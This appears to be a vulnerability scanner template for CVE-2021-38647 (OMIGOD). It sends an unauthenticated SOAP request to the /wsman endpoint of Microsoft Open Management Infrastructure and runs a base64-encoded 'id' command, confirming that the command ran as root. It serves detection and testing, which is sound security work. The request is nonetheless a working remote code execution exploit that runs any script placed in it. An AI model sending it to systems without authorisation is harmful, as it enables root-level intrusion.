72 lines
3.0 KiB
YAML
72 lines
3.0 KiB
YAML
id: CVE-2021-38647
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info:
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name: Microsoft Open Management Infrastructure - Remote Code Execution
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author: daffainfo,xstp
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severity: critical
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description: Microsoft Open Management Infrastructure is susceptible to remote code execution (OMIGOD).
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reference:
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- https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647
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- https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647
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- https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/
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- https://github.com/microsoft/omi
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remediation: Updates for this vulnerability were published on GitHub on August 11, 2021.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-38647
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tags: cve,cve2021,rce,omi,microsoft,cisa
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requests:
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- raw:
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- |
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POST /wsman HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/soap+xml;charset=UTF-8
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<s:Envelope
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xmlns:s="http://www.w3.org/2003/05/soap-envelope"
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xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
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xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
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xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
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xmlns:xsi="http://www.w3.org/2001/XMLSchema"
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xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
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xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
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<s:Header>
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<a:To>HTTP://{{Hostname}}/wsman/</a:To>
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<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
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<a:ReplyTo>
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<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
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</a:ReplyTo>
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<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
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<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
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<a:MessageID>uuid:00B60932-CC01-0005-0000-000000010000</a:MessageID>
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<w:OperationTimeout>PT1M30S</w:OperationTimeout>
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<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
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<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
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<w:OptionSet s:mustUnderstand="true"/>
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<w:SelectorSet>
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<w:Selector Name="__cimnamespace">root/scx</w:Selector>
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</w:SelectorSet>
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</s:Header>
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<s:Body>
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<p:ExecuteScript_INPUT
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xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
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<p:Script>aWQ=</p:Script>
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<p:Arguments/>
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<p:timeout>0</p:timeout>
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<p:b64encoded>true</p:b64encoded>
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</p:ExecuteScript_INPUT>
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</s:Body>
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</s:Envelope>
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matchers:
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- type: word
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words:
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- '<p:StdOut>'
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- 'uid=0(root) gid=0(root) groups=0'
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condition: and
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# Enhanced by mp on 2022/05/02
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